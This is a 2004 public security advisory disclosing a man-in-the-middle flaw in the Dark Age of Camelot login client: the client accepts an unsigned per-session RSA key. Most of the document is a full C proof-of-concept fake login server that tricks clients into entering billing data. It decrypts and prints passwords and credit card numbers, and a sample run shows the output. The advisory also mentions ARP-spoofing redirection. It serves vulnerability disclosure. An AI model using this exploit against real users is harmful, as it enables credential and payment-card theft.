Advisory

Software:	Dark Age of Camelot from Mythic Entertainment including Shrouded Isles & Trials of Atlantis Expansion Packs http://www.darkageofcamelot.com
Affected Version:	North America – all "live" versions up to initial 1.68 release. Exploit fixed during subsequent 1.68 patches (exact date unknown)
Platform:	Windows
Issue:	Flaws in login client allows attacker to read customer information using man in the middle attacks.
Date(s):	2/18/04 - Original advisory to vendor 3/23/04 – Public advisory
Status:	Fixed for billing data. No response from the vendor to the original notification e-mail was ever received. Some time after the initial live 1.68 release, a new login.dll was issued with a billing fix. Account login and password are still vulnerable. Current login.dll is dated 03/01/2004 2:16:50 PM, file size is 213,064, and MD5 sum is 62F47E62 D88C0AED 0EA11012 6097C32D.
Authors:	Bryan Mayland (bmayland@capnbry.net) Todd Chapman (tchapman@leoninedev.com)

Table of Contents

1) Introduction & Summary

Dark Age of Camelot (DAoC) is a fantasy based Massively Multiplayer Online Role Playing Game (MMORPG) developed by Mythic Entertainment (http://www.mythicentertainment.com/). For more background information on the product and for previous security issues, please refer to advisory issues last December at http://capnbry.net/daoc/advisory.html.

The current security scheme of the Dark Age of Camelot login involves the use of RSA public key cryptography and an RC4 based symmetric algorithm. The weakness of their approach is that the RSA public key is transmitted at the start of each session and is not digitally signed or verified to insure the integrity of the connection or data.

With the release of the version 1.68 patch to the DAoC test server (Pendragon), Mythic upgraded the game client (game.dll) to use the security changes made to the login protocol. One side-effect of this change was to focus more eyes on the protocol. While monitoring the discussion on various forums dedicated to DAoC utilities and emulators, it became apparent that people understood how to attack the security.

Seeing the imminent release of code for cracking the game client (which would then expose the login client), an e-mail was sent to multiple contacts at

Mythic on February 18th to describe the flaws of the protocol. Specifically, we described how billing information was exposed and repeated our suggestion about going to a SSL/TLS based solution handling account information. This approach seems practical in light of the fact that the European provider of DAoC, GOA, uses web pages served over HTTPS to secure account updates.

We have received no acknowledgment of the e-mail from anyone at Mythic. After one month had passed, we begin to prepare a formal public advisory and noticed that the login client had been silently patched (i.e. no mention in any public patch notes). The current version of the login client is no longer vulnerable to this billing information exploit. The solution implemented by Mythic was to embed a fixed public key into the login.dll to use for the encryption of billing data. The per session public key is still used for protecting the symmetric key.

---

2) Bug Details

The encryption scheme relies on the use of RSA public key encryption combined with RC4 based symmetric encryption. The encryption routines were originally based on implementations from LibTomCrypt (http://www.libtomcrypt.org/). We say "RC4 based" because of one small difference in the Mythic code from the LTC code. For brevity we will refer to it simply as RC4 from now on.

Note: In no way are any of the flaws we've found attributable to LibTomCrypt code.

At the beginning of each TCP session, the server sends a 1536 bit RSA public key to the client. The client then randomly generates a 256 byte RC4 key which is encrypted using the public key and transmitted back to the server. Any further communication during the session is encrypted using RC4. The basic login process is diagrammed below:

```
Client                                      Server
1 Connect              -------->
2                      <--------            RSA pub key
3 Send RC4 key         -------->
4 Authenticate         -------->
5                      <--------            Authenticate Success
6 Launch game.dll
```

1. Client connects to server
2. Server generates RSA public/private key and exports the public key to the client
3. Client generates RC4 key, encrypts it with RSA public key and sends to server
4. Authentication information is encrypted via RC4 and sent to the server
5. Server sends success message (secured via RC4)
6. Login.dll launches game.dll passing it the account and password to send to game server.

If billing information is transmitted, the data is encrypted using the RSA public key prior to the RC4 encryption.

The fundamental weakness of their approach is the transmission of the public key at the start of each session without any type of verification. The key is not signed in such a way that the client can validate that the key came from Mythic. Any attacker able to actively proxy or hijack the communication can supply his own key to the client and read the data.

Since this requires an active attack, the attacker can take the step of not passing the data along to the Mythic account servers and simply pretend to be the server and demand that the client provide billing information. Once the client provides the data, the attacker signals success and the login client will proceed with launching the game client, which communicates with different servers (and thus the attacker can ignore that traffic). As long as the user's account is valid, the game would proceed with a normal launch.

Testing Note: All tests for this issue were run upon data captured from our own personal machines. No "in the wild" testing was done.

---

3) Sample exploit

The following exploit code is designed to pretend to be an account server to trick a login in client into thinking an account is closed and prompting the user to enter their billing data. In this case, no data is ever passed along to the real account servers.

To simplify our test case, we relied on modifying the login.dat file to force the login client to talk to our program. The following lines were edited.

```
[main]
numofservers=1

[daocclient0]
addr=127.0.0.1
port=10500
```

However, the exploit can also be implemented using ARP spoofing to fool the client machine into sending packets to the attacking machine. An example setup would be use arpspoof and iptables on Linux similar to the one method used for the SSLsniff exploit for I.E. at http://www.thoughtcrime.org/ie.html.

The code was implemented using LibTomCrypt v0.91 but newer versions should work. Compiled and tested on Linux and Cygwin. Note protocol version comment prior to definition of LOGIN_PROTOCOL_VERSION for testing with different versions of the login.dll (currently set to version of vulnerable client).

Sample compile: gcc mystic2.c -o mystic2 -I./libtomcrypt -L./libtomcrypt -ltomcrypt

File: mystic2.c

```c
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
#include "mycrypt.h"

#define SYMKEY_SIZE 256
/*
       Used in setup_crypt().
       Set next line to 1 for 1.67/initial 1.68 client (dated 1/15/04).
       Set it to 2 for 'fixed' client (current is dated 3/1/04)
*/
#define LOGIN_PROTOCOL_VERSION 1

rsa_key key;
prng_state prng;
unsigned char exported_key_buffer[512];
unsigned long exported_key_len;

struct daoc_packet_header {
    unsigned char ESC1;
    unsigned char ESC2;
    unsigned short payload_size; // net byte order
};

struct daoc_packet_payload {
    unsigned short command_id;  // packet type in net byte order
    unsigned char data;
};

struct daoc_packet {
    struct daoc_packet_header header;
    struct daoc_packet_payload payload;
};

struct daoc_socket_state {
    int socket;
    int sym_key_set;
    unsigned char sym_sbox[256];
    int bytes_read_total;
    int bytes_read_payload;
    int expected_payload_size;
    struct daoc_packet_payload *payload;
} client_sock_state;

typedef struct daoc_socket_state SOCKSTATE;

#define my_ntohs(p) (p[0] << 8) | p[1]

void bytes_out(unsigned char *data, int len)
{
    int linepos = 0;
    char ascii[17];
    ascii[16] = 0;
    memset(ascii, '.', sizeof(ascii)-1);
```

```
    while (len--) {
        if (*data >= ' ' && *data <= '~')
            ascii[linepos] = *data;

        printf("%02X ", *data);
        data++;
        linepos = (linepos + 1) % 16;;

        if (!linepos) {
            printf(" %s\n", ascii);
            memset(ascii, '.', sizeof(ascii)-1);
        }
    }

    if (!linepos)
        return;

    while (linepos) {
        ascii[linepos] = ' ';
        printf("   ");
        linepos = (linepos + 1) % 16;;
    }
    printf(" %s\n", ascii);
}

void write_str(unsigned char **d, const char *s)
{
    unsigned short size;
    unsigned char *x = *d;

    size = strlen(s);
    x[0] = size >> 8;
    x[1] = size & 0xff;
    memcpy(&x[2], s, size);
    *d += size + 2;
}

char *dump_str(unsigned char **d)
{
    static char buff[256];
    int size;
    unsigned char *p;
    p = *d;

    size = my_ntohs(p);
    memcpy(buff, p+2, size);
    buff[size] = 0;
    *d += size + 2;
    return buff;
}

void print_usage(void)
{
    printf("Usage: mystic2 <port>\n");
    printf("\t<port> usually between 10500 and 10504 inclusive.\n");
}

int setup_crypt(void)
{
    int err;

    if(register_prng(&yarrow_desc) != CRYPT_OK) {
        printf("Could not register prng.\n");
        return -1;
    }
    printf("prng registered...\n");

    if ((err = rng_make_prng(128, find_prng("yarrow"), &prng, NULL)) != CRYPT_OK)  {
        printf("Could not make prng: %s\n", error_to_string(err));
        return -1;
    }

    /* generate a 1536 bit RSA key.  This duplicates the exported key size
       of Mythic's algorithm, but other sizes would work as well */
    if ((err = rsa_make_key(&prng, find_prng("yarrow"), 192, 65537, &key)) != CRYPT_OK) {
        printf("Could not generate RSA key: %s\n", error_to_string(err));
        return -1;
    }
    printf("RSA key generated...\n");

    /* export the key starting at keybuff[10] so we can prepend the
       fixed header the client expects */
    exported_key_len = sizeof(exported_key_buffer);
    if ((err = rsa_export(&exported_key_buffer[10], &exported_key_len, PK_PUBLIC, &key)) != CRYPT_OK) {
        printf("Could not export RSA public key: %s\n", error_to_string(err));
        return -1;
    }
    printf("RSA public key exported (%lu bytes)...\n", exported_key_len);

    /* some sort of protocol version information proceeds the key when
       we send it. If not correct, login.dll generates version mismatch
                    error message. */
    *((unsigned long *)&exported_key_buffer[0]) = htonl(LOGIN_PROTOCOL_VERSION);
    *((unsigned short *)&exported_key_buffer[4]) = htons(1);
    /* add the size */
    *((unsigned short *)&exported_key_buffer[6]) = htons(exported_key_len);
    *((unsigned short *)&exported_key_buffer[8]) = htons(exported_key_len);

    return 0;
}

void cleanup_crypt(void)
{
    /* this never gets called because we never cleanly exit, but
       here it is for completeness */
    rsa_free(&key);
    unregister_prng(&yarrow_desc);
}

void symcrypt_in_place(unsigned char *buff, int len)
```

```
/* This is mostly a copy of the libTomCrypt::rc4_read() */
{
    int x, y;
    unsigned char *s, tmp, tmp_sym_sbox[SYMKEY_SIZE];;
    int midpoint, pos;

    /* restart the key stream generator on every crypt */
    memcpy(tmp_sym_sbox, client_sock_state.sym_sbox, 256);

    x = 0;
    y = 0;
    s = tmp_sym_sbox;
    /* it is not standard RC4 practice to break a block in half, but packets
     from mythic's client have a sequence number at the beginning which
     would be easily guessable */
    midpoint = len / 2;

    for (pos=midpoint; pos<len; pos++) {
        x = (x + 1) & 255;
        y = (y + s[x]) & 255;
        tmp = s[x]; s[x] = s[y]; s[y] = tmp;
        tmp = (s[x] + s[y]) & 255;
        y = (y + buff[pos]) & 255;  // this is not standard RC4 here
        buff[pos] ^= s[tmp];
    }
    for (pos=0; pos<midpoint; pos++) {
        x = (x + 1) & 255;
        y = (y + s[x]) & 255;
        tmp = s[x]; s[x] = s[y]; s[y] = tmp;
        tmp = (s[x] + s[y]) & 255;
        y = (y + buff[pos]) & 255;  // this is not standard RC4 here
        buff[pos] ^= s[tmp];
    }
}

void symdecrypt_in_place(unsigned char *buff, int len)
/* This is mostly a copy of the libTomCrypt::rc4_read() */
{
    int x, y;
    unsigned char *s, tmp, tmp_sym_sbox[SYMKEY_SIZE];;
    int midpoint, pos;

    /* restart the key stream generator on every crypt */
    memcpy(tmp_sym_sbox, client_sock_state.sym_sbox, 256);

    x = 0;
    y = 0;
    s = tmp_sym_sbox;
    /* it is not standard RC4 practice to break a block in half, but packets
     from mythic's client have a sequence number at the beginning which
     would be easily guessable */
    midpoint = len / 2;

    for (pos=midpoint; pos<len; pos++) {
        x = (x + 1) & 255;
        y = (y + s[x]) & 255;
        tmp = s[x]; s[x] = s[y]; s[y] = tmp;
        tmp = (s[x] + s[y]) & 255;
        buff[pos] ^= s[tmp];
        y = (y + buff[pos]) & 255;  // this is not standard RC4 here
    }
    for (pos=0; pos<midpoint; pos++) {
        x = (x + 1) & 255;
        y = (y + s[x]) & 255;
        tmp = s[x]; s[x] = s[y]; s[y] = tmp;
        tmp = (s[x] + s[y]) & 255;
        buff[pos] ^= s[tmp];
        y = (y + buff[pos]) & 255;  // this is not standard RC4 here
    }
}

int send_daoc_packet(int command_id, void *buff, int len)
{
    struct daoc_packet *mem;
    int retval;
    int payload_size;
    int total_size;

    payload_size = len + 2;  // includes command_id
    total_size = payload_size + sizeof(struct daoc_packet_header);
    mem = malloc(total_size);
    mem->header.ESC1 = '\x1b';
    mem->header.ESC2 = '\x1b';
    mem->header.payload_size = htons(payload_size);
    mem->payload.command_id = htons(command_id);
    memcpy(&mem->payload.data, buff, len);

    if (client_sock_state.sym_key_set)
        symcrypt_in_place((unsigned char *)&mem->payload, payload_size);

    retval = send(client_sock_state.socket, mem, total_size, 0);

    free(mem);
    return retval;
}

void setup_sbox_from_key(unsigned char *key, int keylen)
/* code adapted from libTomCrypt rc4::rc4_ready() */
{
    int x, y;
    int tmp;
    for (x=0; x<256; x++)
        client_sock_state.sym_sbox[x] = x;

    for (x=y=0; x<256; x++)  {
        y = (y + client_sock_state.sym_sbox[x] + key[x % keylen]) & 255;
        tmp = client_sock_state.sym_sbox[x];
        client_sock_state.sym_sbox[x] = client_sock_state.sym_sbox[y];
        client_sock_state.sym_sbox[y] = tmp;
    }
```

```
    client_sock_state.sym_key_set = 1;

//    printf("Client symmetric key:\n");  bytes_out(key, keylen);
//    printf("Client SBOX:\n");bytes_out(client_sock_state.sym_sbox, sizeof(client_sock_state.sym_sbox));
}

void send_billinginfo_request(void)
{
    unsigned char packetbuff[4096], *p;
    p = packetbuff;
    *p++ = 0x4c;
    *p++ = 0x01;
    *p++ = 0x02;
    write_str(&p, "Account closed.");
    *p++ = 0x01;
    *p++ = 0xff;
    *p++ = 0x55;
    write_str(&p, "0.0.0.0");
    *p++ = 0x00;
    *p++ = 0x00;
    send_daoc_packet(0x00c8, packetbuff, p - packetbuff);
    printf("Requesting user enter their billing info...\n");
}

void packet_client_authenticate(unsigned char* buff, int len)
{
    /* first 2 bytes are unknown */
    buff += 2;
    printf("Account authenticate request:\n");
    printf("  Account Name: %s\n", dump_str(&buff));
    printf("  Password: %s\n", dump_str(&buff));

    send_billinginfo_request();
}

void packet_client_billinginfo(unsigned char* buff, int len)
{
    unsigned char rsa_out[1024];
    unsigned char depad_out[1024];
    unsigned char outbuff[4096];
    unsigned long x, y;
    int err;
    int chunk_size;
    int outpos = 0;

    //bytes_out(buff, len);
    /* first two bytes are unknown */
    buff += 2; len -= 2;

    /* key is made up of blocks which are padded then crypted.  They
       come on the wire as 2 bytes size (net order) then data */
    while (len > 0)  {
        chunk_size = (buff[0] << 8) | buff[1];
        buff += 2; len -= 2;

        x = sizeof(rsa_out);
        if ((err = rsa_exptmod(buff, chunk_size, rsa_out, &x, PK_PRIVATE, &key)) != CRYPT_OK) {
            printf("rsa_exptmod failed: %s\n", error_to_string(err));
            return;
        }
        y = sizeof(depad_out);
        if ((err = rsa_depad(rsa_out, x, depad_out, &y)) != CRYPT_OK) {
            printf("rsa_depad failed: %s\n", error_to_string(err));
            return;
        }

        memcpy(&outbuff[outpos], depad_out, y);
        outpos += y;

        //printf("packet_client_billinginfo has %lu bytes\n", y);

        buff += chunk_size; len -= chunk_size;
    }

    buff = outbuff;
    printf("Billing Info:\n");
    printf("  Account Name: %s\n", dump_str(&buff));
    printf("  Password: %s\n", dump_str(&buff));
    printf("  Cardholder's Name: %s\n", dump_str(&buff));
    printf("  CreditCard Number: %s\n", dump_str(&buff));
    printf("  Expiration Date: %s/", dump_str(&buff)); printf("%s\n", dump_str(&buff));
    printf("  Billing cycle: %s\n", dump_str(&buff));
}

void packet_client_setenckey(unsigned char* buff, int len)
{
    unsigned char rsa_out[4096];
    unsigned char depad_out[4096];
    unsigned char tmp_symkey[SYMKEY_SIZE+4];
    unsigned long x, y;
    int err;
    int chunk_size;
    int symkeysize;
    int outpos = 0;

    /* first two bytes are unknown */
    buff += 2; len -= 2;

    /* key is made up of blocks which are padded then crypted.  They
       come on the wire as 2 bytes size (net order) then data */
    while (len > 0)  {
        chunk_size = (buff[0] << 8) | buff[1];
        buff += 2; len -= 2;

        x = sizeof(rsa_out);
        if ((err = rsa_exptmod(buff, chunk_size, rsa_out, &x, PK_PRIVATE, &key)) != CRYPT_OK) {
            printf("rsa_exptmod failed: %s\n", error_to_string(err));
            return;
```

```
        }
        y = sizeof(depad_out);
        if ((err = rsa_depad(rsa_out, x, depad_out, &y)) != CRYPT_OK) {
            printf("rsa_depad failed: %s\n", error_to_string(err));
            return;
        }

        memcpy(&tmp_symkey[outpos], depad_out, y);
        outpos += y;

        // printf("packet_client_setenckey has %lu bytes\n", y);

        buff += chunk_size; len -= chunk_size;
    }

    /* first 4 bytes are WORD keysize twice (net order) */
    symkeysize = my_ntohs(tmp_symkey); //(tmp_symkey[0] << 8) | tmp_symkey[1];
    setup_sbox_from_key(&tmp_symkey[4], symkeysize);

    printf("Client sent symmetric key (%d bytes)...\n", symkeysize);
}

void malloc_client_payload(void)
{
    if (client_sock_state.payload)
        free(client_sock_state.payload);

    client_sock_state.payload = (struct daoc_packet_payload *)
        malloc(client_sock_state.expected_payload_size);
}

void process_recvd_packet(void)
{
    unsigned short command_id;
    unsigned short payload_size;
    unsigned char *data;

    payload_size = client_sock_state.expected_payload_size;
    data = &client_sock_state.payload->data;

    if (client_sock_state.sym_key_set)
    {
        symdecrypt_in_place((unsigned char *)client_sock_state.payload, payload_size);
        //bytes_out((unsigned char *)client_sock_state.payload, payload_size);
    }

    /* fixup the command_id to host order */
    command_id = ntohs(client_sock_state.payload->command_id);
    //printf("Packet in type 0x%04x is %d bytes\n", command_id, payload_size);

    /* subtract sizeof command ID */
    payload_size -= 2;

    switch (command_id)
    {
    case 0x012c:
        packet_client_authenticate(data, payload_size);
        break;
    case 0x0130:
        packet_client_billinginfo(data, payload_size);
        break;
    case 0x014b:
        packet_client_setenckey(data, payload_size);
        break;
    }

    client_sock_state.bytes_read_total = 0;
    client_sock_state.bytes_read_payload = 0;
    client_sock_state.expected_payload_size = 0;
    free(client_sock_state.payload);
    client_sock_state.payload = NULL;
}

int recv_daoc_data(void)
{
    unsigned char sock_buffer[2048];
    int buffer_pos;
    int err;

    err = recv(client_sock_state.socket, (void *)sock_buffer, sizeof(sock_buffer), 0);
    //printf("recv=%d\n", err);
    if (err <= 0)
        return err;

    for (buffer_pos=0; buffer_pos<err; buffer_pos++) {
        client_sock_state.bytes_read_total++;

        switch(client_sock_state.bytes_read_total)
        {
        case 1:  // esc1
            client_sock_state.expected_payload_size = 0;
            break;
        case 2:  // esc2
            break;
        case 3:  // MSB of expected size
            client_sock_state.expected_payload_size = sock_buffer[buffer_pos] << 8;
            break;
        case 4:  // LSB of expected size
            client_sock_state.expected_payload_size |= sock_buffer[buffer_pos];
            malloc_client_payload();
            break;
        default:
            ((unsigned char *)client_sock_state.payload)[client_sock_state.bytes_read_payload] = sock_buffer[buffer_pos];
            client_sock_state.bytes_read_payload++;
            if (client_sock_state.bytes_read_payload == client_sock_state.expected_payload_size)
                process_recvd_packet();
            break;
        }
    }  /* while bytes left */
```

```
    return err;
}

void handle_connection(int client_socket)
{
    memset(&client_sock_state, 0, sizeof(client_sock_state));
    client_sock_state.socket = client_socket;

    send_daoc_packet(0x0065, exported_key_buffer, exported_key_len + 10);
    printf("RSA public key sent to client...\n");

    for (;;)
    {
        if (recv_daoc_data() <= 0)
            break;
    }
}

void accept_connections(int server_socket)
{
    struct sockaddr_in clientaddr;
    int clientaddr_len;

    printf(".Waiting for client connections.\n");
    for (;;) {
        clientaddr_len = sizeof(clientaddr);
        int client_sock = accept(server_socket, (struct sockaddr*)&clientaddr, &clientaddr_len);
        printf("Client connected!\n");
        handle_connection(client_sock);
        close(client_sock);
        printf("Client closed\n");
    }
}

void sigint(int signum)
{
    printf("SIGINT: cleaning up\n");
    cleanup_crypt();
    signal(signum, SIG_DFL);
    raise(SIGQUIT);
}

int start_server_sock(int port)
{
    struct sockaddr_in serveraddr;
    int opt = 1;

    int retval = socket(PF_INET, SOCK_STREAM, 0);
    if (retval < 0)
        return -1;

    serveraddr.sin_family = AF_INET;
    serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
    serveraddr.sin_port = htons(port);

    if (setsockopt(retval, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) {
        close(retval);
        return -1;
    }

    if (bind(retval, (struct sockaddr *)&serveraddr, sizeof(serveraddr))< 0) {
        close(retval);
        return -1;
    }

    if (listen(retval, 5) < 0) {
        close(retval);
        return -1;
    }

    return retval;
}

int main(int argc, char **argv)
{
    int server_socket;
    int port;

    if (argc != 2) {
        print_usage();
        return 0;
    }

    port = atoi(argv[1]);
    if (!port) {
        printf("Invalid port number %s\n", argv[1]);
        print_usage();
        return 0;
    }

    if (setup_crypt() < 0)
        return 0;

    signal(SIGINT, sigint);

    server_socket = start_server_sock(port);
    if (server_socket < 0)  {
        printf("Could not create and bind listener socket\n");
        cleanup_crypt();
    }
    else
        accept_connections(server_socket);

    return 0;
}

Example run against 1/15/04 dated login.dll:
user@mymachine:~/mystic2$ ./mystic2 10500
prng registered...
RSA key generated...
```

```
RSA public key exported (209 bytes)...
.Waiting for client connections.
Client connected!
RSA public key sent to client...
Client sent symmetric key (256 bytes)...
Account authenticate request:
  Account Name: MyAccount
  Password: password
Requesting user enter their billing info...Client closed
Client connected!
RSA public key sent to client...
Client sent symmetric key (256 bytes)...
Billing Info:
  Account Name: MyAccount
  Password: password
  Cardholder's Name: Joe blow
  CreditCard Number: 1234123412341234
  Expiration Date: 11/04
  Billing cycle: 1
Client closed
```

---

4) Conclusion

The current state of the situation appears to be that weaknesses with transmission of billing information are being improved but only when outside attention is focused upon the problem. We would hope that Mythic would learn to take a more proactive approach to these issues.

As with the previous advisory, the main purpose of this advisory is to inform the general public that may have been exposed by this problem. The difficulty of this exploit is greater than the previous one (which was trivial) and it existed for much less time (a few months instead of 2 years) so the danger of exposure is less.

Last Modified: 3/23/2004

Revision History:
3/17/04 – Creation of formal advisory.
3/23/04 – Finalizing for publication.